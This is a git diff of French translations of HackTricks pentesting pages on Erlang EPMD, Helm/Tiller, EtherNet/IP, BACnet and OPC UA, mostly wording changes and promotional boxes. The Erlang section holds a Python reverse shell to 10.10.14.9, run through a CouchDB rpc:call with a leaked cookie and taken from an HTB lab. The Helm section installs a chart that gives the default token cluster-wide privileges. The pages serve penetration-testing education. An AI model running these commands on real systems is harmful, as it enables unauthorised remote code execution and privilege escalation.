Si vous pouvez **leak the Authentication cookie**, vous pourrez exécuter du code sur l'hôte. En général, ce cookie se trouve dans `~/.erlang.cookie` et est généré par erlang au premier démarrage. S'il n'est pas modifié ou défini manuellement, c'est une chaîne aléatoire \[A:Z] d'une longueur de 20 caractères.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
@ -68,13 +69,13 @@ At last, we can start an erlang shell on the remote system.
|
|||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
Plus d'informations sur [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
L'auteur partage également un programme pour forcer le cookie:
|
||||
L'auteur partage également un programme pour bruteforcer le cookie :
|
||||
|
||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||
|
||||
## Connexion Locale
|
||||
## Connexion locale
|
||||
|
||||
Dans ce cas, nous allons abuser de CouchDB pour escalader les privilèges localement:
|
||||
Dans ce cas, nous allons abuser de CouchDB pour élever les privilèges localement :
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
|
@ -82,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
|||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Exemple tiré de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Vous pouvez utiliser la machine **Canape HTB** pour **pratiquer** comment **exploiter cette vulnérabilité**.
|
||||
Vous pouvez utiliser **la machine Canape HTB pour** **vous entraîner** à **exploiter cette vuln**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -91,19 +92,20 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
|||
```
|
||||
# Shodan
|
||||
|
||||
* `port:4369 "at port"`
|
||||
* `port:4369 "au port"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Helm est le **gestionnaire de packages** pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des référentiels publics et privés. Ces packages sont appelés **Helm Charts**. **Tiller** est le **service** **exécuté** par défaut sur le port 44134 offrant le service.
|
||||
Helm est le **gestionnaire de paquets** pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés **Helm Charts**. **Tiller** est le **service** **fonctionnant** par défaut sur le port 44134 offrant le service.
|
||||
|
||||
**Port par défaut :** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# Énumération
|
||||
# Enumeration
|
||||
|
||||
Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom**:
|
||||
Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom** :
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
|
@ -45,24 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
|||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
Vous pourriez également essayer de trouver ce service en vérifiant le port 44134 :
|
||||
Vous pouvez également essayer de trouver ce service en vérifiant le port 44134 :
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application client helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
|
||||
Ensuite, vous pouvez **énumérer le service**:
|
||||
Ensuite, vous pouvez **énumérer le service** :
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## Élévation de privilèges
|
||||
|
||||
Par défaut, **Helm2** était installé dans l'**espace de noms kube-system** avec des **privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**élever les privilèges**.
|
||||
Par défaut, **Helm2** a été installé dans le **namespace kube-system** avec **des privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**escalader les privilèges**.
|
||||
|
||||
Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera **accès au jeton de service par défaut à tout dans l'ensemble du cluster**.
|
||||
Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera au **jeton de service par défaut un accès à tout dans l'ensemble du cluster.**
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez **l'explication de l'attaque**, mais en gros, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) à l'intérieur de _helm-tiller-pwn/pwnchart/templates/_ vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**.
|
||||
Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez l'**explication de l'attaque**, mais en gros, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) à l'intérieur de _helm-tiller-pwn/pwnchart/templates/_ vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Informations sur le protocole**
|
||||
|
||||
EtherNet/IP est un **protocole de réseau Ethernet industriel** couramment utilisé dans les **systèmes de contrôle d'automatisation industrielle**. Il a été développé par Rockwell Automation à la fin des années 1990 et est géré par l'ODVA. Le protocole garantit **l'interopérabilité des systèmes multi-fournisseurs** et est utilisé dans diverses applications telles que les **usines de traitement de l'eau**, les **installations de fabrication** et les **services publics**. Pour identifier un périphérique EtherNet/IP, une requête est envoyée à **TCP/44818** avec un **message d'identités de liste (0x63)**.
|
||||
EtherNet/IP est un **protocole de mise en réseau Ethernet industriel** couramment utilisé dans les **systèmes de contrôle d'automatisation industrielle**. Il a été développé par Rockwell Automation à la fin des années 1990 et est géré par l'ODVA. Le protocole garantit **l'interopérabilité des systèmes multi-fournisseurs** et est utilisé dans diverses applications telles que **les usines de traitement de l'eau**, **les installations de fabrication** et **les services publics**. Pour identifier un appareil EtherNet/IP, une requête est envoyée à **TCP/44818** avec un **Message d'Identités de liste (0x63)**.
|
||||
|
||||
**Port par défaut :** 44818 UDP/TCP
|
||||
```
|
||||
|
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
|||
* `port:44818 "nom du produit"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations sur le protocole
|
||||
|
||||
**BACnet** est un **protocole de communication** pour les réseaux de contrôle et d'automatisation des bâtiments (BAC) qui exploite le protocole standard **ASHRAE**, **ANSI** et **ISO 16484-5**. Il facilite la communication entre les systèmes de contrôle et d'automatisation des bâtiments, permettant des applications telles que le contrôle HVAC, le contrôle de l'éclairage, le contrôle d'accès et les systèmes de détection d'incendie d'échanger des informations. BACnet garantit l'interopérabilité et permet aux dispositifs informatisés d'automatisation des bâtiments de communiquer, indépendamment des services spécifiques qu'ils fournissent.
|
||||
**BACnet** est un **protocole de communication** pour les réseaux d'automatisation et de contrôle des bâtiments (BAC) qui s'appuie sur le **protocole standard ASHRAE**, **ANSI** et **ISO 16484-5**. Il facilite la communication entre les systèmes d'automatisation et de contrôle des bâtiments, permettant aux applications telles que le contrôle HVAC, le contrôle de l'éclairage, le contrôle d'accès et les systèmes de détection d'incendie d'échanger des informations. BACnet garantit l'interopérabilité et permet aux dispositifs d'automatisation des bâtiments informatisés de communiquer, quel que soit les services spécifiques qu'ils fournissent.
|
||||
|
||||
**Port par défaut :** 47808
|
||||
```text
|
||||
|
@ -50,25 +51,26 @@ print(f"Version: {readDevice[2]}")
|
|||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
Ce script ne tente pas de rejoindre un réseau BACnet en tant que périphérique étranger, il envoie simplement des requêtes BACnet directement à un périphérique adressable par IP.
|
||||
Ce script ne tente pas de rejoindre un réseau BACnet en tant que dispositif étranger, il envoie simplement des requêtes BACnet directement à un dispositif accessible par IP.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"ID d'instance" "Nom du fournisseur"`
|
||||
* `"Instance ID" "Vendor Name"`
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Supportez HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,42 @@
|
|||
# 4840 - Pentesting OPC UA
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
**OPC UA**, qui signifie **Open Platform Communications Unified Access**, est un protocole open source crucial utilisé dans diverses industries telles que la fabrication, l'énergie, l'aérospatiale et la défense pour l'échange de données et le contrôle d'équipements. Il permet de manière unique à des équipements de différents fournisseurs de communiquer, en particulier avec des automates programmables industriels (PLC).
|
||||
**OPC UA**, qui signifie **Open Platform Communications Unified Access**, est un protocole open-source crucial utilisé dans diverses industries comme la fabrication, l'énergie, l'aérospatiale et la défense pour l'échange de données et le contrôle des équipements. Il permet de manière unique aux équipements de différents fournisseurs de communiquer, en particulier avec les PLC.
|
||||
|
||||
Sa configuration permet des mesures de sécurité renforcées, mais souvent, pour la compatibilité avec des appareils plus anciens, celles-ci sont réduites, exposant ainsi les systèmes à des risques. De plus, trouver des services OPC UA peut être délicat car les scanners réseau peuvent ne pas les détecter s'ils sont sur des ports non standard.
|
||||
Sa configuration permet des mesures de sécurité robustes, mais souvent, pour la compatibilité avec les appareils plus anciens, celles-ci sont réduites, exposant les systèmes à des risques. De plus, trouver des services OPC UA peut être délicat car les scanners réseau peuvent ne pas les détecter s'ils sont sur des ports non standards.
|
||||
|
||||
**Port par défaut :** 4840
|
||||
```text
|
||||
PORT STATE SERVICE REASON
|
||||
4840/tcp open unknown syn-ack
|
||||
```
|
||||
## Test d'intrusion OPC UA
|
||||
## Pentesting OPC UA
|
||||
|
||||
